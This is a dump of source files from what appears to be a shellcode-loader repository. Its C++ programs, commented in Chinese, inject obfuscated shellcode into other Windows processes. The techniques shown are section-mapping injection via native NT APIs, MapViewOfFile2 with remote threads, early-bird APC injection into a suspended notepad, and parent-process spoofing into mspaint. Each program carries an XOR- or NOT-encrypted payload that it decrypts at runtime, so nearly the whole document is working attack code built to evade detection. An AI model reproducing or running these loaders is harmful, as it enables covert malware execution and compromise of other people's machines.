"hello.txt"); 323 | cout << "返回的数据为: " << data << endl; 324 | char* buf = StrToShellcode(data); 325 | } -------------------------------------------------------------------------------- /memorySectionInject/ConsoleApplication1.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | #pragma comment(lib, "ntdll") 7 | #pragma comment(lib, "advapi32.lib") 8 | 9 | #define InitializeObjectAttributes(p,n,a,r,s) { \ 10 | (p)->Length = sizeof(OBJECT_ATTRIBUTES); \ 11 | (p)->RootDirectory = (r); \ 12 | (p)->Attributes = (a); \ 13 | (p)->ObjectName = (n); \ 14 | (p)->SecurityDescriptor = (s); \ 15 | (p)->SecurityQualityOfService = NULL; \ 16 | } 17 | 18 | // dt nt!_UNICODE_STRING 19 | typedef struct _LSA_UNICODE_STRING { 20 | USHORT Length; 21 | USHORT MaximumLength; 22 | PWSTR Buffer; 23 | } UNICODE_STRING, * PUNICODE_STRING; 24 | 25 | // dt nt!_OBJECT_ATTRIBUTES 26 | typedef struct _OBJECT_ATTRIBUTES { 27 | ULONG Length; 28 | HANDLE RootDirectory; 29 | PUNICODE_STRING ObjectName; 30 | ULONG Attributes; 31 | PVOID SecurityDescriptor; 32 | PVOID SecurityQualityOfService; 33 | } OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES; 34 | 35 | // dt nt!_CLIENT_ID 36 | typedef struct _CLIENT_ID { 37 | PVOID UniqueProcess; 38 | PVOID UniqueThread; 39 | } CLIENT_ID, * PCLIENT_ID; 40 | 41 | 42 | // NtCreateSection syntax 43 | typedef NTSTATUS(NTAPI* pNtCreateSection)( 44 | OUT PHANDLE SectionHandle, 45 | IN ULONG DesiredAccess, 46 | IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, 47 | IN PLARGE_INTEGER MaximumSize OPTIONAL, 48 | IN ULONG PageAttributess, 49 | IN ULONG SectionAttributes, 50 | IN HANDLE FileHandle OPTIONAL 51 | ); 52 | 53 | // NtMapViewOfSection syntax 54 | typedef NTSTATUS(NTAPI* pNtMapViewOfSection)( 55 | HANDLE SectionHandle, 56 | HANDLE ProcessHandle, 57 | PVOID* BaseAddress, 58 | ULONG_PTR ZeroBits, 59 | SIZE_T CommitSize, 60 | PLARGE_INTEGER SectionOffset, 61 | PSIZE_T ViewSize, 62 | DWORD InheritDisposition, 63 | ULONG AllocationType, 64 | ULONG Win32Protect 65 | ); 66 | 67 | // RtlCreateUserThread syntax 68 | typedef NTSTATUS(NTAPI* pRtlCreateUserThread)( 69 | IN HANDLE ProcessHandle, 70 | IN PSECURITY_DESCRIPTOR SecurityDescriptor OPTIONAL, 71 | IN BOOLEAN CreateSuspended, 72 | IN ULONG StackZeroBits, 73 | IN OUT PULONG StackReserved, 74 | IN OUT PULONG StackCommit, 75 | IN PVOID StartAddress, 76 | IN PVOID StartParameter OPTIONAL, 77 | OUT PHANDLE ThreadHandle, 78 | OUT PCLIENT_ID ClientID 79 | ); 80 | 81 | // NtOpenProcess syntax 82 | typedef NTSTATUS(NTAPI* pNtOpenProcess)( 83 | PHANDLE ProcessHandle, 84 | ACCESS_MASK AccessMask, 85 | POBJECT_ATTRIBUTES ObjectAttributes, 86 | PCLIENT_ID ClientID 87 | ); 88 | 89 | // ZwUnmapViewOfSection syntax 90 | typedef NTSTATUS(NTAPI* pZwUnmapViewOfSection)( 91 | HANDLE ProcessHandle, 92 | PVOID BaseAddress 93 | ); 94 | 95 | // 由文件名找对应进程id 96 | int findMyProc(const char* procname) { 97 | 98 | HANDLE hSnapshot; 99 | PROCESSENTRY32 pe; 100 | int pid = 0; 101 | BOOL hResult; 102 | 103 | hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); 104 | if (INVALID_HANDLE_VALUE == hSnapshot) return 0; 105 | 106 | pe.dwSize = sizeof(PROCESSENTRY32); 107 | 108 | hResult = Process32First(hSnapshot, &pe); 109 | 110 | while (hResult) { 111 | if (strcmp(procname, pe.szExeFile) == 0) { 112 | pid = pe.th32ProcessID; 113 | break; 114 | } 115 | hResult = Process32Next(hSnapshot, &pe); 116 | } 117 | 118 | CloseHandle(hSnapshot); 119 | return pid; 120 | } 121 | 122 | unsigned char my_payload[] = { 0x91, 0x31, 0xf0, 0x91, 0x80, 0x8d, 0xb2, 0x73, 0x65, 0x63, 0x33, 0x34, 0x35, 0x3b, 0x37, 0x28, 0x3b, 0x31, 0x42, 0xa7, 0x15, 0x2d, 0xf9, 0x21, 0x5, 0x2b, 0xf9, 0x37, 0x6c, 0x23, 0xee, 0x2b, 0x4d, 0x31, 0xf8, 0x7, 0x20, 0x2d, 0x7d, 0xc4, 0x2f, 0x29, 0x3f, 0x54, 0xbd, 0x23, 0x54, 0xb9, 0xc1, 0x45, 0x12, 0x9, 0x72, 0x49, 0x52, 0x32, 0xa4, 0xaa, 0x7f, 0x24, 0x75, 0xaa, 0x87, 0x94, 0x3f, 0x38, 0x22, 0x3d, 0xfb, 0x37, 0x52, 0xf8, 0x27, 0x5f, 0x3a, 0x64, 0xa4, 0xe0, 0xe5, 0xf1, 0x6d, 0x79, 0x73, 0x3d, 0xf5, 0xa5, 0x6, 0x14, 0x2d, 0x62, 0xa2, 0x35, 0xff, 0x23, 0x7d, 0x3d, 0xe6, 0x39, 0x53, 0x3c, 0x71, 0xb5, 0x91, 0x25, 0x2d, 0x9c, 0xbb, 0x24, 0xff, 0x5f, 0xed, 0x31, 0x6c, 0xaf, 0x3e, 0x44, 0xb9, 0x2d, 0x43, 0xb3, 0xc9, 0x22, 0xb3, 0xac, 0x79, 0x2a, 0x64, 0xb8, 0x55, 0x99, 0x6, 0x84, 0x3c, 0x66, 0x3e, 0x57, 0x6d, 0x26, 0x4b, 0xb4, 0x1, 0xb3, 0x3d, 0x3d, 0xe6, 0x39, 0x57, 0x3c, 0x71, 0xb5, 0x14, 0x32, 0xee, 0x6f, 0x3a, 0x21, 0xff, 0x2b, 0x79, 0x30, 0x6c, 0xa9, 0x32, 0xfe, 0x74, 0xed, 0x3a, 0x72, 0xb5, 0x22, 0x2a, 0x24, 0x2c, 0x35, 0x3c, 0x23, 0x2c, 0x21, 0x32, 0x2c, 0x31, 0x3f, 0x3a, 0xf0, 0x89, 0x43, 0x33, 0x37, 0x8b, 0x8b, 0x3d, 0x38, 0x34, 0x23, 0x3b, 0xfe, 0x62, 0x8c, 0x25, 0x8c, 0x9a, 0x9c, 0x2f, 0x2d, 0xce, 0x6a, 0x65, 0x79, 0x6d, 0x79, 0x73, 0x75, 0x70, 0x2d, 0xff, 0xfe, 0x64, 0x62, 0x72, 0x65, 0x35, 0xd1, 0x54, 0xf2, 0x2, 0xfe, 0x8c, 0xa0, 0xcb, 0x95, 0xc7, 0xd1, 0x33, 0x22, 0xc8, 0xc3, 0xe1, 0xd6, 0xf8, 0x86, 0xb8, 0x31, 0xf0, 0xb1, 0x58, 0x59, 0x74, 0xf, 0x6f, 0xe3, 0x89, 0x85, 0x1, 0x6e, 0xde, 0x3e, 0x7e, 0xb, 0x1c, 0x1f, 0x70, 0x3c, 0x33, 0xfa, 0xbf, 0x9c, 0xa7, 0x6, 0x15, 0x7, 0x6, 0x57, 0x8, 0x1, 0x16, 0x75 }; 123 | unsigned int my_payload_len = sizeof(my_payload); 124 | 125 | char my_secret_key[] = "mysupersecretkey"; 126 | 127 | void XOR(char* data, size_t data_len, char* key, size_t key_len) { 128 | int j; 129 | j = 0; 130 | for (int i = 0; i < data_len; i++) { 131 | if (j == key_len - 1) j = 0; 132 | data[i] = data[i] ^ key[j]; 133 | j++; 134 | } 135 | } 136 | 137 | int main(int argc, char* argv[]) { 138 | 139 | XOR((char*)my_payload, my_payload_len, my_secret_key, sizeof(my_secret_key)); 140 | 141 | 142 | SIZE_T s = 4096; 143 | LARGE_INTEGER sectionS = { s }; 144 | HANDLE sh = NULL; // section handle 145 | PVOID lb = NULL; // local buffer 146 | PVOID rb = NULL; // remote buffer 147 | HANDLE th = NULL; // thread handle 148 | DWORD pid; // process ID 149 | 150 | pid = findMyProc(argv[1]); 151 | 152 | OBJECT_ATTRIBUTES oa; 153 | CLIENT_ID cid; 154 | InitializeObjectAttributes(&oa, NULL, 0, NULL, NULL); 155 | cid.UniqueProcess = (PVOID)pid; 156 | cid.UniqueThread = 0; 157 | 158 | // loading ntdll.dll 159 | HANDLE ntdll = GetModuleHandleA("ntdll"); 160 | 161 | pNtOpenProcess myNtOpenProcess = (pNtOpenProcess)GetProcAddress((HMODULE)ntdll, "NtOpenProcess"); 162 | pNtCreateSection myNtCreateSection = (pNtCreateSection)(GetProcAddress((HMODULE)ntdll, "NtCreateSection")); 163 | pNtMapViewOfSection myNtMapViewOfSection = (pNtMapViewOfSection)(GetProcAddress((HMODULE)ntdll, "NtMapViewOfSection")); 164 | pRtlCreateUserThread myRtlCreateUserThread = (pRtlCreateUserThread)(GetProcAddress((HMODULE)ntdll, "RtlCreateUserThread")); 165 | pZwUnmapViewOfSection myZwUnmapViewOfSection = (pZwUnmapViewOfSection)(GetProcAddress((HMODULE)ntdll, "ZwUnmapViewOfSection")); 166 | 167 | // 创建一个新的内存映射文件对象返回句柄 168 | myNtCreateSection(&sh, SECTION_MAP_READ | SECTION_MAP_WRITE | SECTION_MAP_EXECUTE, NULL, (PLARGE_INTEGER)§ionS, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL); 169 | 170 | // 内存映射到当前进程 171 | myNtMapViewOfSection(sh, GetCurrentProcess(), &lb, NULL, NULL, NULL, &s, 2, NULL, PAGE_READWRITE); 172 | 173 | // 打开目标进程 174 | HANDLE ph = NULL; 175 | myNtOpenProcess(&ph, PROCESS_ALL_ACCESS, &oa, &cid); 176 | 177 | if (!ph) { 178 | printf("failed to open process :(\n"); 179 | return -2; 180 | } 181 | 182 | // 内存映射到目标进程 183 | myNtMapViewOfSection(sh, ph, &rb, NULL, NULL, NULL, &s, 2, NULL, PAGE_EXECUTE_READ); 184 | 185 | // 写入shellcode 186 | memcpy(lb, my_payload, sizeof(my_payload)); 187 | 188 | myRtlCreateUserThread(ph, NULL, FALSE, 0, 0, 0, rb, NULL, &th, NULL); 189 | 190 | if (WaitForSingleObject(th, INFINITE) == WAIT_FAILED) { 191 | return -2; 192 | } 193 | 194 | // 清除内存映射 195 | myZwUnmapViewOfSection(GetCurrentProcess(), lb); 196 | myZwUnmapViewOfSection(ph, rb); 197 | CloseHandle(sh); 198 | CloseHandle(ph); 199 | return 0; 200 | } -------------------------------------------------------------------------------- /memorySectionInject/README.md: -------------------------------------------------------------------------------- 1 | ![image-20230307215325820](https://s2.loli.net/2023/03/07/faIMKuWEsgDc6wd.png) -------------------------------------------------------------------------------- /memorySectionInject/memoryMapInjection/ConsoleApplication1.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | #pragma comment (lib, "OneCore.lib") 8 | #define KEY 0x01 9 | 10 | 11 | int findMyProc(const char* procname) { 12 | 13 | HANDLE hSnapshot; 14 | PROCESSENTRY32 pe; 15 | int pid = 0; 16 | BOOL hResult; 17 | 18 | // snapshot of all processes in the system 19 | hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); 20 | if (INVALID_HANDLE_VALUE == hSnapshot) return 0; 21 | 22 | // initializing size: needed for using Process32First 23 | pe.dwSize = sizeof(PROCESSENTRY32); 24 | 25 | // info about first process encountered in a system snapshot 26 | hResult = Process32First(hSnapshot, &pe); 27 | 28 | // retrieve information about the processes 29 | // and exit if unsuccessful 30 | while (hResult) { 31 | // if we find the process: return process ID 32 | if (strcmp(procname, pe.szExeFile) == 0) { 33 | pid = pe.th32ProcessID; 34 | break; 35 | } 36 | hResult = Process32Next(hSnapshot, &pe); 37 | } 38 | 39 | // closes an open handle (CreateToolhelp32Snapshot) 40 | CloseHandle(hSnapshot); 41 | return pid; 42 | } 43 | 44 | 45 | int main(int argc, char** argv) 46 | { 47 | DWORD pid = (DWORD)argv[1]; 48 | 49 | 50 | std::vector xored_input = { 51 | 0xbe,0x0a,0xc1,0xa6,0xb2,0xaa,0x82,0x42,0x42,0x42,0x03,0x13,0x03,0x12,0x10,0x13,0x14,0x0a,0x73,0x90,0x27,0x0a,0xc9,0x10,0x22,0x0a,0xc9,0x10,0x5a,0x0a,0xc9,0x10,0x62,0x0a,0xc9,0x30,0x12,0x0a,0x4d,0xf5,0x08,0x08,0x0f,0x73,0x8b,0x0a,0x73,0x82,0xee,0x7e,0x23,0x3e,0x40,0x6e,0x62,0x03,0x83,0x8b,0x4f,0x03,0x43,0x83,0xa0,0xaf,0x10,0x03,0x13,0x0a,0xc9,0x10,0x62,0xc9,0x00,0x7e,0x0a,0x43,0x92,0xc9,0xc2,0xca,0x42,0x42,0x42,0x0a,0xc7,0x82,0x36,0x25,0x0a,0x43,0x92,0x12,0xc9,0x0a,0x5a,0x06,0xc9,0x02,0x62,0x0b,0x43,0x92,0xa1,0x14,0x0a,0xbd,0x8b,0x03,0xc9,0x76,0xca,0x0a,0x43,0x94,0x0f,0x73,0x8b,0x0a,0x73,0x82,0xee,0x03,0x83,0x8b,0x4f,0x03,0x43,0x83,0x7a,0xa2,0x37,0xb3,0x0e,0x41,0x0e,0x66,0x4a,0x07,0x7b,0x93,0x37,0x9a,0x1a,0x06,0xc9,0x02,0x66,0x0b,0x43,0x92,0x24,0x03,0xc9,0x4e,0x0a,0x06,0xc9,0x02,0x5e,0x0b,0x43,0x92,0x03,0xc9,0x46,0xca,0x0a,0x43,0x92,0x03,0x1a,0x03,0x1a,0x1c,0x1b,0x18,0x03,0x1a,0x03,0x1b,0x03,0x18,0x0a,0xc1,0xae,0x62,0x03,0x10,0xbd,0xa2,0x1a,0x03,0x1b,0x18,0x0a,0xc9,0x50,0xab,0x15,0xbd,0xbd,0xbd,0x1f,0x0a,0xf8,0x43,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x0a,0xcf,0xcf,0x43,0x43,0x42,0x42,0x03,0xf8,0x73,0xc9,0x2d,0xc5,0xbd,0x97,0xf9,0xb2,0xf7,0xe0,0x14,0x03,0xf8,0xe4,0xd7,0xff,0xdf,0xbd,0x97,0x0a,0xc1,0x86,0x6a,0x7e,0x44,0x3e,0x48,0xc2,0xb9,0xa2,0x37,0x47,0xf9,0x05,0x51,0x30,0x2d,0x28,0x42,0x1b,0x03,0xcb,0x98,0xbd,0x97,0x21,0x23,0x2e,0x21,0x6c,0x27,0x3a,0x27,0x42,0xbc,0xbd 52 | }; 53 | // 解密代码 54 | // 1. 从变换后的字节数组中取出随机字节,并将其移除 55 | unsigned char end_byte = xored_input.back(); 56 | xored_input.pop_back(); 57 | 58 | // 2. 将变换后的字节数组中除最后一个字节外的所有字节与随机字节进行XOR,得到NOT操作之前的字节数组 59 | std::vector not_input_2; 60 | for (auto b : xored_input) { 61 | not_input_2.push_back(b ^ end_byte); 62 | } 63 | 64 | // 3. 进行NOT操作,得到原始的字节数组 65 | std::vector output; 66 | for (auto b : not_input_2) { 67 | output.push_back(~b); 68 | } 69 | output.pop_back(); 70 | unsigned char* my_payload = new unsigned char[output.size() + 1]; 71 | std::copy(output.begin(), output.end(), my_payload); 72 | my_payload[output.size()] = '\0'; 73 | if (output.back() == 0x00) { 74 | my_payload[output.size()] = '\0'; 75 | } 76 | for (size_t i = 0; i < output.size(); ++i) { 77 | std::cout << std::hex << (int)my_payload[i] << " "; 78 | } 79 | 80 | HANDLE hMapping = CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, 0, output.size(), NULL); 81 | 82 | LPVOID lpMapAddress = MapViewOfFile(hMapping, FILE_MAP_WRITE, 0, 0, output.size()); 83 | 84 | memcpy((PVOID)lpMapAddress,my_payload, output.size()); 85 | 86 | HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, findMyProc("notepad.exe"));//填写要注入的pid 87 | 88 | LPVOID lpMapAddressRemote = MapViewOfFile2(hMapping, hProcess, 0, NULL, 0, 0, PAGE_EXECUTE_READ); 89 | 90 | HANDLE hRemoteThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)lpMapAddressRemote, NULL, 0, NULL); 91 | 92 | UnmapViewOfFile(lpMapAddress); 93 | CloseHandle(hMapping); 94 | return 0; 95 | } -------------------------------------------------------------------------------- /memorySectionInject/memoryMapInjection/NtGetNextProcess.cpp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/b4nbird/shellcodeLoaders/a8ca3277468518dc9900b02f9ac3248170cd46f5/memorySectionInject/memoryMapInjection/NtGetNextProcess.cpp -------------------------------------------------------------------------------- /memorySectionInject/memoryMapInjection/README.md: -------------------------------------------------------------------------------- 1 | ![image-20230409191355687](https://s2.loli.net/2023/04/09/i7NCEYGO9IunZre.png) 2 | 3 | noCreateRemoteThread 4 | ![图片](https://user-images.githubusercontent.com/63333153/230770074-c1400cea-1456-42ef-b8d8-89416141d5d9.png) 5 | -------------------------------------------------------------------------------- /memorySectionInject/memoryMapInjection/noCreateRemoteThread.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | #pragma comment (lib, "OneCore.lib") 8 | 9 | 10 | int main() { 11 | STARTUPINFO si = { 0 }; 12 | PROCESS_INFORMATION pi = { 0 }; 13 | si.cb = sizeof(STARTUPINFO); 14 | 15 | std::vector xored_input = { 16 | 0xbe,0x0a,0xc1,0xa6,0xb2,0xaa,0x82,0x42,0x42,0x42,0x03,0x13,0x03,0x12,0x10,0x13,0x14,0x0a,0x73,0x90,0x27,0x0a,0xc9,0x10,0x22,0x0a,0xc9,0x10,0x5a,0x0a,0xc9,0x10,0x62,0x0a,0xc9,0x30,0x12,0x0a,0x4d,0xf5,0x08,0x08,0x0f,0x73,0x8b,0x0a,0x73,0x82,0xee,0x7e,0x23,0x3e,0x40,0x6e,0x62,0x03,0x83,0x8b,0x4f,0x03,0x43,0x83,0xa0,0xaf,0x10,0x03,0x13,0x0a,0xc9,0x10,0x62,0xc9,0x00,0x7e,0x0a,0x43,0x92,0xc9,0xc2,0xca,0x42,0x42,0x42,0x0a,0xc7,0x82,0x36,0x25,0x0a,0x43,0x92,0x12,0xc9,0x0a,0x5a,0x06,0xc9,0x02,0x62,0x0b,0x43,0x92,0xa1,0x14,0x0a,0xbd,0x8b,0x03,0xc9,0x76,0xca,0x0a,0x43,0x94,0x0f,0x73,0x8b,0x0a,0x73,0x82,0xee,0x03,0x83,0x8b,0x4f,0x03,0x43,0x83,0x7a,0xa2,0x37,0xb3,0x0e,0x41,0x0e,0x66,0x4a,0x07,0x7b,0x93,0x37,0x9a,0x1a,0x06,0xc9,0x02,0x66,0x0b,0x43,0x92,0x24,0x03,0xc9,0x4e,0x0a,0x06,0xc9,0x02,0x5e,0x0b,0x43,0x92,0x03,0xc9,0x46,0xca,0x0a,0x43,0x92,0x03,0x1a,0x03,0x1a,0x1c,0x1b,0x18,0x03,0x1a,0x03,0x1b,0x03,0x18,0x0a,0xc1,0xae,0x62,0x03,0x10,0xbd,0xa2,0x1a,0x03,0x1b,0x18,0x0a,0xc9,0x50,0xab,0x15,0xbd,0xbd,0xbd,0x1f,0x0a,0xf8,0x43,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x0a,0xcf,0xcf,0x43,0x43,0x42,0x42,0x03,0xf8,0x73,0xc9,0x2d,0xc5,0xbd,0x97,0xf9,0xb2,0xf7,0xe0,0x14,0x03,0xf8,0xe4,0xd7,0xff,0xdf,0xbd,0x97,0x0a,0xc1,0x86,0x6a,0x7e,0x44,0x3e,0x48,0xc2,0xb9,0xa2,0x37,0x47,0xf9,0x05,0x51,0x30,0x2d,0x28,0x42,0x1b,0x03,0xcb,0x98,0xbd,0x97,0x21,0x23,0x2e,0x21,0x6c,0x27,0x3a,0x27,0x42,0xbc,0xbd 17 | }; 18 | // 解密代码 19 | // 1. 从变换后的字节数组中取出随机字节,并将其移除 20 | unsigned char end_byte = xored_input.back(); 21 | xored_input.pop_back(); 22 | 23 | // 2. 将变换后的字节数组中除最后一个字节外的所有字节与随机字节进行XOR,得到NOT操作之前的字节数组 24 | std::vector not_input_2; 25 | for (auto b : xored_input) { 26 | not_input_2.push_back(b ^ end_byte); 27 | } 28 | 29 | // 3. 进行NOT操作,得到原始的字节数组 30 | std::vector output; 31 | for (auto b : not_input_2) { 32 | output.push_back(~b); 33 | } 34 | output.pop_back(); 35 | unsigned char* my_payload = new unsigned char[output.size() + 1]; 36 | std::copy(output.begin(), output.end(), my_payload); 37 | my_payload[output.size()] = '\0'; 38 | if (output.back() == 0x00) { 39 | my_payload[output.size()] = '\0'; 40 | } 41 | for (size_t i = 0; i < output.size(); ++i) { 42 | std::cout << std::hex << (int)my_payload[i] << " "; 43 | } 44 | 45 | HANDLE hMapping = CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, 0, output.size(), NULL); 46 | 47 | LPVOID lpMapAddress = MapViewOfFile(hMapping, FILE_MAP_WRITE, 0, 0, output.size()); 48 | 49 | memcpy((PVOID)lpMapAddress, my_payload, output.size()); 50 | 51 | CreateProcessA("C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, TRUE, CREATE_SUSPENDED | CREATE_NO_WINDOW, NULL, NULL, (LPSTARTUPINFOA)&si, &pi); 52 | 53 | LPVOID lpMapAddressRemote = MapViewOfFile2(hMapping, pi.hProcess, 0, NULL, 0, 0, PAGE_EXECUTE_READ); 54 | 55 | QueueUserAPC((PAPCFUNC)lpMapAddressRemote, pi.hThread, NULL); 56 | ResumeThread(pi.hThread); 57 | CloseHandle(pi.hThread); 58 | CloseHandle(hMapping); 59 | UnmapViewOfFile(lpMapAddress); 60 | return 0; 61 | } 62 | -------------------------------------------------------------------------------- /parent_process_spoofing/ConsoleApplication1.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | int findMyProc(const char* procname) { 7 | 8 | HANDLE hSnapshot; 9 | PROCESSENTRY32 pe; 10 | int pid = 0; 11 | BOOL hResult; 12 | 13 | // snapshot of all processes in the system 14 | hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); 15 | if (INVALID_HANDLE_VALUE == hSnapshot) return 0; 16 | 17 | // initializing size: needed for using Process32First 18 | pe.dwSize = sizeof(PROCESSENTRY32); 19 | 20 | // info about first process encountered in a system snapshot 21 | hResult = Process32First(hSnapshot, &pe); 22 | 23 | // retrieve information about the processes 24 | // and exit if unsuccessful 25 | while (hResult) { 26 | // if we find the process: return process ID 27 | if (strcmp(procname, pe.szExeFile) == 0) { 28 | pid = pe.th32ProcessID; 29 | break; 30 | } 31 | hResult = Process32Next(hSnapshot, &pe); 32 | } 33 | 34 | // closes an open handle (CreateToolhelp32Snapshot) 35 | CloseHandle(hSnapshot); 36 | return pid; 37 | } 38 | 39 | 40 | int main(int argc, char* argv[]) { 41 | std::vector xored_input = { 42 | 0xbe,0x0a,0xc1,0xa6,0xb2,0xaa,0x82,0x42,0x42,0x42,0x03,0x13,0x03,0x12,0x10,0x13,0x14,0x0a,0x73,0x90,0x27,0x0a,0xc9,0x10,0x22,0x0a,0xc9,0x10,0x5a,0x0a,0xc9,0x10,0x62,0x0a,0xc9,0x30,0x12,0x0a,0x4d,0xf5,0x08,0x08,0x0f,0x73,0x8b,0x0a,0x73,0x82,0xee,0x7e,0x23,0x3e,0x40,0x6e,0x62,0x03,0x83,0x8b,0x4f,0x03,0x43,0x83,0xa0,0xaf,0x10,0x03,0x13,0x0a,0xc9,0x10,0x62,0xc9,0x00,0x7e,0x0a,0x43,0x92,0xc9,0xc2,0xca,0x42,0x42,0x42,0x0a,0xc7,0x82,0x36,0x25,0x0a,0x43,0x92,0x12,0xc9,0x0a,0x5a,0x06,0xc9,0x02,0x62,0x0b,0x43,0x92,0xa1,0x14,0x0a,0xbd,0x8b,0x03,0xc9,0x76,0xca,0x0a,0x43,0x94,0x0f,0x73,0x8b,0x0a,0x73,0x82,0xee,0x03,0x83,0x8b,0x4f,0x03,0x43,0x83,0x7a,0xa2,0x37,0xb3,0x0e,0x41,0x0e,0x66,0x4a,0x07,0x7b,0x93,0x37,0x9a,0x1a,0x06,0xc9,0x02,0x66,0x0b,0x43,0x92,0x24,0x03,0xc9,0x4e,0x0a,0x06,0xc9,0x02,0x5e,0x0b,0x43,0x92,0x03,0xc9,0x46,0xca,0x0a,0x43,0x92,0x03,0x1a,0x03,0x1a,0x1c,0x1b,0x18,0x03,0x1a,0x03,0x1b,0x03,0x18,0x0a,0xc1,0xae,0x62,0x03,0x10,0xbd,0xa2,0x1a,0x03,0x1b,0x18,0x0a,0xc9,0x50,0xab,0x15,0xbd,0xbd,0xbd,0x1f,0x0a,0xf8,0x43,0x42,0x42,0x42,0x42,0x42,0x42,0x42,0x0a,0xcf,0xcf,0x43,0x43,0x42,0x42,0x03,0xf8,0x73,0xc9,0x2d,0xc5,0xbd,0x97,0xf9,0xb2,0xf7,0xe0,0x14,0x03,0xf8,0xe4,0xd7,0xff,0xdf,0xbd,0x97,0x0a,0xc1,0x86,0x6a,0x7e,0x44,0x3e,0x48,0xc2,0xb9,0xa2,0x37,0x47,0xf9,0x05,0x51,0x30,0x2d,0x28,0x42,0x1b,0x03,0xcb,0x98,0xbd,0x97,0x21,0x23,0x2e,0x21,0x6c,0x27,0x3a,0x27,0x42,0xbc,0xbd 43 | }; 44 | // 解密代码 45 | // 1. 从变换后的字节数组中取出随机字节,并将其移除 46 | unsigned char end_byte = xored_input.back(); 47 | xored_input.pop_back(); 48 | 49 | // 2. 将变换后的字节数组中除最后一个字节外的所有字节与随机字节进行XOR,得到NOT操作之前的字节数组 50 | std::vector not_input_2; 51 | for (auto b : xored_input) { 52 | not_input_2.push_back(b ^ end_byte); 53 | } 54 | 55 | // 3. 进行NOT操作,得到原始的字节数组 56 | std::vector output; 57 | for (auto b : not_input_2) { 58 | output.push_back(~b); 59 | } 60 | output.pop_back(); 61 | unsigned char* my_payload = new unsigned char[output.size() + 1]; 62 | std::copy(output.begin(), output.end(), my_payload); 63 | my_payload[output.size()] = '\0'; 64 | if (output.back() == 0x00) { 65 | my_payload[output.size()] = '\0'; 66 | } 67 | for (size_t i = 0; i < output.size(); ++i) { 68 | std::cout << std::hex << (int)my_payload[i] << " "; 69 | } 70 | 71 | STARTUPINFOEXA si; 72 | PROCESS_INFORMATION pi; 73 | SIZE_T st; 74 | int pid = findMyProc(argv[1]); 75 | if (pid) { 76 | printf("PID = %d\n", pid); 77 | } 78 | 79 | HANDLE ph = OpenProcess(PROCESS_ALL_ACCESS, false, (DWORD)pid); 80 | 81 | ZeroMemory(&si, sizeof(STARTUPINFOEXA)); 82 | InitializeProcThreadAttributeList(NULL, 1, 0, &st); 83 | si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, st); 84 | InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &st); 85 | UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &ph, sizeof(HANDLE), NULL, NULL); 86 | si.StartupInfo.cb = sizeof(STARTUPINFOEXA); 87 | 88 | CreateProcessA("C:\\Windows\\System32\\mspaint.exe", NULL, NULL, NULL, TRUE, CREATE_SUSPENDED | CREATE_NO_WINDOW | EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, reinterpret_cast(&si), &pi); 89 | LPVOID ba = (LPVOID)VirtualAllocEx(pi.hProcess, NULL, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); 90 | SIZE_T* nb = 0; 91 | BOOL res = WriteProcessMemory(pi.hProcess, ba, (LPVOID)my_payload,output.size(), nb); 92 | 93 | QueueUserAPC((PAPCFUNC)ba, pi.hThread, 0); 94 | ResumeThread(pi.hThread); 95 | CloseHandle(pi.hThread); 96 | 97 | return 0; 98 | } -------------------------------------------------------------------------------- /parent_process_spoofing/README.md: -------------------------------------------------------------------------------- 1 | ![image-20230405194659820](https://s2.loli.net/2023/04/05/Ribm2qefP5ok6Sr.png) --------------------------------------------------------------------------------